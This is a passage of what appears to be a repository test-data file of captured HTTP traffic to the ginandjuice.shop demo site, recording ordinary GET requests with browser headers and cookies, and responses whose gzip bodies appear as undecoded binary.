\\ufffdKG\\u0001\\ufffdu\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001c_\\ufffd\\ufffd\\ufffdZ\\ufffd\\ufffdΩ-H\\ufffd\\ufffd\\ufffd\\u0003ʒw\\ufffd\\ufffdΎ퉒!j\\ufffd\\ufffd\\ufffd\\u0011\\ufffdMx\\ufffd^\\ufffd\\ufffd\\u003cw\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdշ\\u0008[\\u000ff[Æ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdM\\ufffd\\ufffd\\u0001w\\ufffdRLF2*\\u0026\\ufffdaJ\\ufffd\\ufffdZ\\ufffd\\u001f\\u000blT\\ufffd(\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2128\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:47 GMT\\r\\nSet-Cookie: AWSALB=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:52+05:30\",\"url\":\"https://ginandjuice.shop/catalog\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2; AWSALB=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; AWSALBCORS=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom\",\"Referer\":\"https://ginandjuice.shop/\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/catalog\",\"scheme\":\"https\"},\"raw\":\"GET /catalog HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2; AWSALB=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; AWSALBCORS=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom\\r\\nReferer: https://ginandjuice.shop/\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2876\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:52 GMT\",\"Set-Cookie\":\"AWSALB=AymL6NoUb7IQ+yLeqn8Nx2AnsAEQE7J/dECy9Mv2IjZxSjlYL3ClOPOJQywrvrB2uDIqCLT8bh+PpOR56TWHYLLnsfn2bXbh+12VUozjFNV+c3PYsBusyKnEB1Ut; Expires=Thu, 14 Sep 2023 15:34:52 GMT; Path=/, AWSALBCORS=AymL6NoUb7IQ+yLeqn8Nx2AnsAEQE7J/dECy9Mv2IjZxSjlYL3ClOPOJQywrvrB2uDIqCLT8bh+PpOR56TWHYLLnsfn2bXbh+12VUozjFNV+c3PYsBusyKnEB1Ut; Expires=Thu, 14 Sep 2023 15:34:52 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd\\\\}r\\ufffd6\\u0016\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffd=#Q\\ufffd\\ufffd\\ufffdĒ:\\ufffd\\ufffd\\ufffdi\\ufffd8\\ufffd\\ufffd\\ufffdvwv\\u003c\\u0010\\tI\\ufffdA\\ufffd\\u0005@)\\ufffdLf\\ufffd\\u001a{\\ufffd\\ufffd\\ufffd\\u001eeO\\ufffd\\u000f\\u0000EQ\\u0012)\\ufffd.;^\\ufffd֓\\ufffdE\\u0000\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0017(\\ufffd\\ufffdg\\ufffdn.\\ufffd\\ufffd\\ufffd\\ufffd\\u0012\\ufffdU\\ufffd\\ufffd_t\\ufffd/\\u0004?\\ufffd1\\ufffd\\ufffd\\ufffdh\\u001e\\u0019\\r\\ufffd\\ufffdX\\ufffda\\ufffd)\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdl2\\u003c\\ufffdÈhzR6\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdצ\\ufffd\\ufffd\\u0006$\\u0008\\ufffdI5cD\\ufffd\\tQۘi\\u0016\\ufffdP^z\\u003c\\u0008\\u00084\\ufffd\\n\\u001e\\ufffd J\\ufffd\\ufffdA@\\u0014F!\\u000eHϙP2\\ufffd\\ufffdP\\u000e\\ufffdx\\ufffdH\\ufffdzΔ\\ufffdj\\ufffd\\ufffdɄz\\ufffda\\u001e\\ufffd(\\ufffdD4`\\ufffd0\\u0003#\\ufffd\\ufffd;\\u0019n\\ufffd\\u00134RH\\n\\ufffd\\ufffdd\\u0004\\ufffd \\ufffd\\u0001{\\ufffd\\u0005N\\ufffd\\ufffd(\\u0000\\ufffd\\ufffd\\u0007\\ufffd\\ufffd\\ufffdMKQ\\ufffdE\\ufffd\\ufffd\\ufffd\\u0003بY\\u0004+S\\ufffd\\ufffdj~\\ufffd\\u0013l[\\ufffd\\u003c\\ufffd8\\u001c\\ufffd\\u000c\\ufffd\\ufffdV\\ufffd\\ufffdqR\\ufffdUQ\\ufffdH\\ufffd\\ufffd\\ufffd~\\ufffd)\\ufffd\\u001a芆\\ufffd9\\u000e\\ufffd3\\ufffdM\\u000c:B\\ufffdc\\u001eu\\ufffdv\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0003\\ufffd\\ufffdP8j\\ufffd(\\ufffd0\\ufffd\\ufffd\\u0004Q\\ufffd\\ufffdd-'\\ufffdT\\ufffd\\u001c\\ufffd)\\ufffdC\\ufffd1,eϱ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0010zV\\u0008\\u000cQ\\ufffdަޏ\\ufffdD\\ufffd\\u000f#\\ufffd0: \\u0002+\\ufffdfh\\u0012\\ufffd\\u0010\\u003e\\u0003\\ufffdhJ\\u0006\\u0008dd\\ufffd\\ufffdfV\\ufffd\\ufffd\\ufffdB\\ufffd\\ufffd!\\u0017H\\u0011\\ufffdh8҃\\ufffd\\ufffd\\u0003\\u0019\\ufffd\\ufffd\\t)\\ufffdjf\\ufffd\\ufffdR\\ufffdM\\ufffd\\ufffd\\u0002te\\ufffdӥh\\u000bv\\u0010\\u000f\\u0003\\u000e\\ufffd\\u0005\\ufffd\\u0012\\ufffd\\ufffd.\\ufffd\\ufffdԽ\\ufffd\\ufffd\\ufffdB=\\ufffdJ\\ufffd\\ufffdd\\ufffd\\ufffd\\ufffd\\ufffd\\u001b@w\\ufffd\\ufffdc{\\ufffd\\ufffd\\ufffd\\u001af\\ufffd\\u000f\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffdN\\ufffd\\ufffd9\\ufffdε\\ufffd\\ufffdY~\\u003c\\ufffdG\\ufffd'\\ufffd\\ufffd!\\ufffd\\ufffd`\\ufffdv\\ufffd\\ufffdkkpuļ\\ufffd5\\ufffd\\ufffd\\u0018\\ufffdW\\ufffdy\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0008\\ufffd2\\u0003\\u000eD\\ufffd\\u000c\\ufffd\\ufffd\\u0019Zkk\\ufffd\\ufffdur\\ufffd\\u000e\\ufffd\\ufffd\\ufffdX\\ufffd\\u0019\\ufffd6Jp@\\ufffd#5\\u0026\\u0006\\ufffdg`֠\\ufffd\\u001csi\\ufffd\\ufffd\\u000b\\u000c\\ufffdV\\ufffd\\ufffd\\u0016k\\ufffdl\\ufffd\\ufffdD\\ufffd\\u001c\\ufffdڼ\\ufffdP\\u001dV0\\ufffda\\ufffdv\\ufffd\\ufffd6\\ufffd՚9lr\\ufffdI\\u0013\\ufffd\\u001a\\ufffd\\ufffd8\\ufffd*\\ufffd\\u0017\\ufffdm₎\\u0005+㰍-\\ufffd\\u0019\\ufffd\\u0010\\u0017L\\ufffd\\ufffd\\ufffd\\ufffdܴa,\\u001d\\u0019\\ufffdh$\\u000e\\ufffd\\ufffd]\\ufffdH\\ufffd\\u0000\\ufffd\\ufffd}\\ufffdq\\ufffd5\\ufffd\\ufffdn\\u001fd\\u0006\\ufffd\\ufffdԃX)\\ufffdH[\\ufffd\\ufffd\\ufffd\\ufffdX\\ufffd:M0Q\\u000c\\ns\\ufffd\\u0018V\\ufffd\\ufffd%\\ufffd\\ufffd2\\u0012\\u003cZ\\ufffdT\\ufffd\\ufffd\\u0011\\ufffd\\u001c\\ufffd\\ufffd\\ufffd\\u0012\\u000b\\u000fx\\ufffd\\ufffd\\ufffd\\ufffdv(\\ufffdŬ\\\"\\ufffd\\ufffd͘\\ufffdj[\\u0002g\\ufffd\\ufffd\\ufffd\\u001b[\\u0013\\ufffd\\u003c\\u001e\\ufffd\\ufffdA\\ufffd\\ufffdV\\ufffdY#i\\ufffdT)'\\ufffd~\\u0017\\u0002ڼs\\ufffdZ\\ufffd\\ufffdG\\ufffd\\u0017\\ufffd\\ufffdǻ0\\ufffd\\u000fK\\u003c\\ufffd\\ufffdXg\\\\ͧ\\ufffdz\\u0013\\ufffd\\ufffd\\u001b\\ufffd\\ufffde\\ufffd/\\ufffd\\u001c\\ufffd\\u000b\\ufffd\\ufffd#D\\ufffd\\ufffd\\u0012\\u001b\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffd\\ufffd\\u0019J\\u003e\\ufffdF\\ufffdo\\ufffd\\ufffd\\ufffd\\ufffd\\u001ea\\ufffd\\u001e\\u0016+֚\\u0004\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdS`+I\\ufffd%\\ufffdW\\ufffd\\u001a\\ufffd]p\\ufffdݖ^r\\ufffd\\ufffd\\u001b\\ufffd\\ufffdF\\ufffd\\ufffdlx\\ufffdU\\ufffd\\ufffdH\\ufffd\\ufffdv5\\ufffdb\\n\\u001f@\\ufffd_\\u001b\\ufffd\\ufffd\\ufffd\\ufffd\\u0004X\\ufffd\\ufffds\\ufffds\\n\\ufffd\\ufffdQ\\u00265CŢ\\ufffd%d\\ufffd\\u0013\\ufffdR\\u0013\\u0007\\ufffd\\ufffd\\ufffd\\u000c\\ufffdW\\u000e/ҽ\\ufffd\\ufffd\\ufffd:\\ufffd\\u0011\\u0001\\ufffd\\u0005q\\ufffdkcm\\ufffdu\\ufffd\\ufffd0)\\ufffd\\ufffd0\\\\Dش\\ufffdEl[\\ufffd\\u0004\\u000c\\u000f\\u0005e\\ufffd\\ufffd\\u0002%\\ufffd\\ufffd\\u001bo\\ufffd\\u0006\\ufffd\\ufffd\\u0000\\ufffdZ\\ufffdd2=\\ufffd\\u001dޘ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd[\\ufffd\\ufffda\\u0014';\\u0026\\ufffda\\ufffd{\\u00123\\ufffd9\\u0016\\u000e\\ufffd\\u0018\\ufffdȘ3_\\ufffd෦\\u001d*\\u0019\\ufffd\\u0008'\\ufffdB\\ufffd\\ufffd\\ufffd\\ufffd\\u0008\\ufffd$\\ufffd\\ufffd\\ufffd֪\\ufffdg\\ufffd!\\ufffd\\u0026\\\\A\\ufffd\\u001e\\ufffd\\ufffdζ\\u0012\\ufffd܋\\ufffd\\ufffdpD\\ufffd%#\\ufffd\\ufffd\\ufffd썿WK\\ufffdS\\ufffdw'\\ufffd\\ufffd\\u0004\\u0018.\\ufffdof\\ufffd\\ufffd\\u001d\\ufffd\\u001d\\ufffdT^F\\ufffd2\\u001e\\u0004T%\\ufffdَ\\ufffd\\ufffd\\\\\\ufffd\\ufffd\\u003cn\\ufffd4\\ufffdg\\ufffdu\\ufffdV\\ufffdi\\ufffd\\ufffdp4\\ufffdv׼p\\ufffd\\ufffd-\\ufffde7\\ufffd\\ufffd\\ufffd\\ufffdkS\\ufffdЅ\\ufffd\\u003ea\\ufffd\\u001f\\ufffd\\u0010\\ufffd\\ufffdm\\ufffd\\ufffd}\\ufffdmڮb\\ufffdͻpK\\u0008\\ufffdI\\ufffd\\ufffd\\ufffd\\t\\ufffd\\ufffd\\ufffd\\ufffd)\\ufffd@nE\\u0012\\ufffd\\ufffd2\\u0003\\ufffd\\ufffdɈ\\u000bJ$\\ufffd\\ufffd\\ufffd|Ř\\ufffdra\\ufffdu\\ufffd+\\u000f\\ufffd\\ufffd4\\u00032\\u001d_\\u0026d\\ufffd^\\ufffdߌ\\ufffd\\u0001\\u0004G\\ufffd\\ufffd)$\\ufffd\\u000e\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffd=u犆\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd7\\u0005\\ufffd\\ufffd\\ufffd\\ufffdsv\\ufffd\\ufffd\\n\\ufffd\\\"\\u0019\\u0003\\ufffd\\u000ecƲC\\u0004\\ufffd\\ufffd\\ufffd^\\ufffd|\\ufffd\\ufffd\\ufffd\\u0007h\\ufffd+t\\ufffd\\u0015\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffd\\ufffd\\ufffd\\ufffdm2;\\ufffd\\ufffd\\ufffd\\u001e^O\\ufffd\\ufffdG\\ufffd\\u003ez\\ufffdl\\ufffd\\ufffd\\ufffd4\\u0011\\u0000\\ufffdz\\ufffdt\\u0008z\\ufffdh38\\ufffdNqM\\ufffd\\ufffd\\ufffdf\\ufffd\\u0001\\ufffd\\\\\\u0010P#\\ufffd\\ufffd@y\\ufffd\\rp\\ufffd7o\\ufffd\\ufffd\\u00115SJ\\ufffdβ\\ufffd3\\ufffd\\\\\\ufffdv\\ufffd\\ufffd\\ufffd\\ufffd\\u0011:\\ufffdgG\\ufffd\\ufffdF\\ufffd\\ufffdjW\\u0015\\ufffd\\ufffd\\ufffd9\\u001a\\ufffd\\ufffd,\\ufffds\\ufffd\\ufffd\\ufffddtS\\ufffdn֘\\ufffdM\\ufffdj\\ufffd\\ufffd\\ufffd\\ufffdL\\ufffd\\u0013D\\ufffd\\\"\\ufffd;\\ufffd^\\r\\ufffd\\ufffd\\ufffd\\u0013\\ufffd'\\ufffd\\ufffd\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\ufffd\\u003e׍\\u001a\\u0012\\ufffd\\u003e/Cj'\\ufffd\\ufffd\\u0007\\ufffd\\ufffd\\ufffd %\\u0002GmP\\ufffd%@\\u0012\\u0016ڲ\\\\AB\\u0008\\ufffd{)\\ufffdf\\ufffd9\\u0016\\ufffd\\rO\\ufffd\\ufffd\\u0018\\ufffd0R5\\u0014edc\\u003c«5]\\ufffd\\ufffd\\ufffdL~\\ufffd\\ufffd{\\ufffdm\\ufffd\\ufffd\\u0006\\ufffd\\ufffd%\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd]\\ufffd\\ncٌ@\\u003c\\ufffdB\\ufffd\\ufffd\\u0011\\ufffdj\\ufffd\\ufffd(\\u001cm\\ufffdc\\ufffd鿛ӡKK\\ufffd.\\ufffdw\\u000f\\ufffde\\ufffd\\ufffd;\\ufffde\\\\\\ufffdG\\u0005֯\\ufffd:e\\ufffdȾk\\ufffd\\ufffd\\ufffd/\\ufffd?v\\u000eܣ\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffd~\\ufffd\\ufffd#%S\\ufffd\\u0013\\ufffd\\n\\ufffd\\ufffd\\ufffdƚ\\ufffd\\u000c\\ufffd튑l\\ufffdJBwa\\ufffd(\\ufffdY绛i\\ufffd\\ufffd\\u001d=\\u0016\\ufffd\\ufffdC\\ufffd\\ufffd\\ufffdn\\u0000ש\\u001a\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u00161\\ufffd\\\\7\\u0013\\\"\\u0018\\ufffd\\ufffd'\\ufffd\\ufffd\\u0017m\\ufffd\\ufffd\\ufffdn\\ufffduX1\\\\\\ufffdL\\u001c\\ufffd\\ufffd_\\ufffd\\\\~T\\u0002\\n\\u0012.\\ufffdֻZ\\ufffd\\ufffd\\ufffdx\\ufffdQ\\ufffdp\\ufffd\\ufffdu.\\ufffd\\u0003\\u001a\\ufffd\\ufffd\\u001f\\ufffdL\\ufffd!\\ufffd\\ufffdj \\ufffd8Z\\ufffd؜\\ufffd\\ufffd\\ufffd\\u000b\\ufffd\\ufffd\\ufffd\\u001b\\ufffd\\u001dW\\ufffd\\ufffd\\u0000+o|\\ufffd\\ufffdtNJBx\\ufffd\\t\\ufffd\\u0026\\ufffd4\\ufffd\\u001d\\ufffd\\u001f\\u0014#'\\u0015cW*\\ufffd\\ufffd)햁\\ufffd\\u0004ڻ\\ufffd\\u0001\\ufffdۊ\\ufffd\\ufffd\\ufffdR\\ufffd\\ufffd-\\ufffd\\ufffd#1\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0001)\\ufffd\\ufffd\\ufffdq\\ufffd\\ufffd\\u0019:\\u0007\\ufffd\\ufffd?mQr춏v\\u0003\\ufffd\\u0017\\u0015#V6D\\ufffdx\\ufffd\\\"\\ufffdݎ\\ufffd=\\ufffd\\ufffdHi?\\u0016\\u003e\\ufffd\\ufffd\\ufffdڻ\\u0001_\\ufffd\\ufffdb\\ufffdJ)\\r\\ufffd\\ufffde\\ufffd\\ufffd\\ufffd9\\ufffdi\\u0000\\u0011\\ufffd[\\ufffd\\ufffd\\ufffd\\ufffdN\\ufffdܓ\\ufffd\\u001d\\ufffd\\ufffd\\ufffd7'\\ufffd\\ufffd\\ufffd]\\ufffdR\\ufffd\\ufffdJp\\ufffd\\ufffd\\ufffd\\ufffdx\\ufffdI}\\ufffd\\ufffd\\ufffd\\u001e\\ufffd\\ufffd\\u0008pU\\ufffd(y\\ufffd\\ufffd\\ufffd\\ufffd\\\"\\u0016\\ufffdN\\ufffdՄ\\ufffdG\\ufffd\\u0004\\ufffd\\u0007\\ufffd\\ufffd\\ufffd\\ufffd#\\ufffd\\ufffd_\\ufffd\\u001c\\ufffd\\ufffd\\ufffdF\\ufffdpd\\u0003\\ufffdk\\u001a\\u0012YIt|\\ufffd\\ufffd\\u001d\\ufffdǇ;\\ufffdX\\ufffdoI\\ufffd\\ufffdR\\ufffd\\ufffdIE\\u0019+\\t޷\\ufffd\\u0004\\ufffdj\\ufffd\\ufffd@\\ufffd\\ufffdgP\\ufffd\\ufffd\\ufffd\\ufffdс{\\ufffd#{\\ufffdVկN\\ufffd\\ufffd#\\u001abv\\ufffd\\ufffdٝ\\ufffd\\ufffd\\ufffd\\ufffd^h\\ufffd\\ufffd+1C\\ufffd\\ufffd_\\ufffd߷\\ufffd\\ufffd\\ufffd2PV\\ufffd.%\\ufffd\\ufffd\\ufffd\\ufffdg\\ufffdU\\ufffd\\ufffdw\\u000c\\u0001\\ufffd\\u001a\\ufffd'w\\ufffd\\ufffd\\ufffd\\u000e\\ufffd`\\ufffd/R\\u0018\\ufffdꎆw\\ufffdnLfD\\ufffd\\ufffd\\ufffd\\u0001\\u0015\\ufffd$\\ufffd\\ufffdך\\ufffd\\ufffd!ܥ(Z\\ufffd˔R\\ufffd\\n\\ufffd1E\\u000b\\ufffd\\u0013P\\ufffd\\ufffd\\ufffdpE\\ufffd\\n\\ufffd\\ufffd\\ufffdO\\ufffd\\ufffd;\\u003euO\\ufffd\\u0018\\ufffd\\r_\\ufffd\\ufffd;\\ufffdg\\ufffd3'䆜\\ufffd3\\tS\\ufffd\\ufffd(\\ufffd8\\ufffdʷ\\ufffd\\ufffd\\ufffd\\ufffd8\\ufffd:gF\\ufffd\\ufffd \\ufffd\\ufffds\\ufffd\\ufffd4\\ufffd\\ufffd\\u001f\\ufffd\\ufffdl\\ufffd\\ufffd\\ufffdK\\u0026\\ufffd燝\\ufffd\\ufffd\\ufffd\\u0002\\t\\ufffd\\ufffdd\\u003c\\ufffd\\u0007\\u0016\\u0006\\u0004\\ufffd|\\n\\ufffd\\ufffd\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdS.\\ufffd?\\ufffd\\u003eA\\ufffd\\u000cb\\u001cR5C|\\ufffdF:f\\ufffd\\u003e\\ufffd`\\ufffd\\ufffd\\u001a\\ufffd\\u0010\\ufffdǓus;\\ufffd|\\ufffdX,\\ufffd\\u0004f\\\"S\\ufffd\\ufffdeİ\\ufffdza\\ufffd\\ufffdqУ/d\\u0011,\\t\\u003cy\\ufffd1\\u003c\\ufffd*\\ufffdg\\ufffd9\\ufffd\\ufffd\\ufffdk\\u00172\\ufffdտ\\ufffd'U[\\ufffdɔ.\\ufffd-\\ufffd\\ufffd\\u001fd-\\ufffd\\\"S\\ufffd\\ufffd\\ufffdy\\ufffd9\\ufffd\\ufffdP\\ufffd\\u0008\\u001c䃿6\\ufffd\\ufffd\\ufffdN\\u0004q3iZ=n\\ufffd\\ufffd|k|0\\ufffd\\r\\u0005\\ufffd%\\ufffd\\u0002\\ufffd\\ufffd\\ufffd\\ufffd\\u0018\\t\\ufffd\\ufffd\\ufffd\\u001c%\\ufffd\\u001f\\ufffd\\ufffd\\u001c^\\ufffd\\u0026\\ufffd\\ufffd\\ufffd\\ufffdm\\u0007\\ufffds\\ufffd;c\\ufffd\\ufffd$\\ufffd\\u001fV\\ufffd\\ufffd\\u0018:\\ufffd\\u001c\\u0003\\ufffd9\\ufffdG\\ufffdO\\ufffd㛟n\\ufffd\\ufffd\\ufffd{\\ufffd\\ufffdtz|=\\ufffd.\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdk\\ufffdӟ\\ufffd͗\\u001c\\ufffd[9z\\ufffd9\\u0005ؿ\\ufffdk\\ufffd\\ufffdٿB\\ufffdH\\ufffdҺ6\\ufffdy\\u003c\\ufffdxذ-ۄ\\\\:\\u0001k\\ufffd\\ufffd\\ufffd{\\ufffd\\n=H\\ufffd\\ufffd1_'\\u000f=F\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd~eD\\ufffd\\u0003o\\u000cվ\\ufffd\\ufffdm\\ufffd\\ufffd \\u0026\\r\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdz\\ufffd\\ufffd\\ufffd\\u000f\\ufffd\\u0004~:D:\\u0012\\ufffd\\ufffd\\u0018b{\\ufffd)\\ufffdR\\ufffdG\\ufffd\\ufffdG)r+B'\\ufffd\\u0026\\ufffd\\ufffd\\ufffdt\\r\\ufffd\\ufffd\\ufffd[\\ufffd@\\u000cR\\u0010+\\ufffd\\ufffdߞ\\ufffd\\ufffd\\ufffd\\u0026\\u0008\\ufffdY'lS\\u0010R\\ufffd\\ufffdk\\u001d\\u0018h\\ufffd\\ufffd?\\u0002\\ufffd%\\ufffdd\\ufffd\\u000e\\ufffdR\\ufffd7 \\ufffd\\ufffd;+:\\ufffdt\\ufffd\\ufffd\\ufffd6\\u0005\\ufffd\\ufffd\\ufffd\\u001e04\\ufffd\\u0015El\\ufffd\\ufffd\\ufffd\\ufffdh\\ufffd\\ufffd\\u0017\\ufffd\\ufffdIU}\\u001f3҅\\ufffd\\u0005\\u0016\\n\\r\\u0008D3b\\ufffd\\ufffdn3#\\ufffd\\ufffd\\u0017u7\\ufffd\\ufffd\\u0007\\u0008\\ufffd\\ufffds\\ufffd\\ufffdQ\\ufffdD╬\\u0007\\ufffd\\ufffd^q\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\u001e\\ufffd\\ufffd\\ufffd\\ufffd\\u0001\\ufffd\\ufffd\\\\)\\ufffdk\\u0006\\ufffd\\ufffd\\u000b\\ufffd\\u000f\\ufffd\\u001d\\ufffd\\u000e8\\ufffdZ\\u000e\\ufffdZ\\ufffdn\\ufffd\\ufffd=\\ufffdb@\\ufffdj\\ufffd\\ufffd\\u0016\\ufffd\\u0026(\\ufffdsr\\u000b\\u0012X\\ufffd\\ufffd\\u0001e\\ufffd\\ufffd\\ufffd\\ufffdզ*#C\\u0026\\ufffd\\u0007\\ufffd^o\\ufffd{\\ufffdMy\\ufffd\\ufffd*\\ufffd^\\ufffd\\ufffdo\\u0015\\ufffd\\ufffd\\u003e\\ufffd\\ufffdN\\ufffd^a\\ufffd\\ufffd\\ufffd\\ufffdcAuj\\ufffd\\ufffd\\u0014\\ufffd\\ufffdo\\u0013\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd?\\ufffd\\u0001\\ufffd\\ufffd\\ufffd\\u0019\\ufffd\\ufffd\\u0002\\ufffdYQ\\ufffd\\ufffdA\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2876\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:52 GMT\\r\\nSet-Cookie: AWSALB=AymL6NoUb7IQ+yLeqn8Nx2AnsAEQE7J/dECy9Mv2IjZxSjlYL3ClOPOJQywrvrB2uDIqCLT8bh+PpOR56TWHYLLnsfn2bXbh+12VUozjFNV+c3PYsBusyKnEB1Ut; Expires=Thu, 14 Sep 2023 15:34:52 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=AymL6NoUb7IQ+yLeqn8Nx2AnsAEQE7J/dECy9Mv2IjZxSjlYL3ClOPOJQywrvrB2uDIqCLT8bh+PpOR56TWHYLLnsfn2bXbh+12VUozjFNV+c3PYsBusyKnEB1Ut; Expires=Thu, 14 Sep 2023 15:34:52 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n"
  },
  {
    "path": "pkg/input/formats/testdata/ginandjuice.proxify.yaml",
